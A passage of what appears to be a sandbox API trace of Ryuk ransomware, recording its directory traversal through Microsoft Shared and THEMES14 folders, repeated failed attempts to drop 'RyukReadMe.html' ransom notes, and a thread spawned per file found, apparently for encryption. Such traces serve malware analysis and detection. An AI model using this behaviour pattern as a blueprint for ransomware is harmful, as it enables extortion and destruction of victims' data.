	[0160.938] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0
	[0160.938] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0160.939] SetLastError (dwErrCode=0x0) 
	[0160.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.939] GetLastError () returned 0x5
	[0160.939] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0160.939] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.939] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1
	[0160.939] SetLastError (dwErrCode=0x0) 
	[0160.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.940] GetLastError () returned 0x5
	[0160.940] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0160.940] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0160.944] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.946] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1
	[0160.946] SetLastError (dwErrCode=0x0) 
	[0160.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.947] GetLastError () returned 0x5
	[0160.947] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0160.947] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0160.947] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.948] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1
	[0160.948] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604
	[0161.053] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.054] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1
	[0161.054] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608
	[0161.057] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.057] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0161.057] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c
	[0161.059] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.059] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0161.059] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610
	[0161.062] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.063] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0161.063] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0161.063] SetLastError (dwErrCode=0x0) 
	[0161.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.063] GetLastError () returned 0x5
	[0161.063] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.064] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.064] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0161.064] SetLastError (dwErrCode=0x0) 
	[0161.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.064] GetLastError () returned 0x5
	[0161.064] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.064] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.064] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0161.066] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.066] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1
	[0161.067] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614
	[0161.068] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.069] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1
	[0161.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618
	[0161.072] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.073] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0161.073] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c
	[0161.075] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.075] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0161.075] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620
	[0161.078] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.079] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0161.079] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0161.079] SetLastError (dwErrCode=0x0) 
	[0161.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.079] GetLastError () returned 0x5
	[0161.079] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.080] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.080] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0161.080] SetLastError (dwErrCode=0x0) 
	[0161.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.080] GetLastError () returned 0x5
	[0161.080] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.081] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0161.082] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.083] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x8e, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1
	[0161.083] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624
	[0161.085] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.086] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x8e, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1
	[0161.086] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628
	[0161.088] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.088] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0161.088] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c
	[0161.199] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.199] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0161.199] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630
	[0161.201] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.202] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
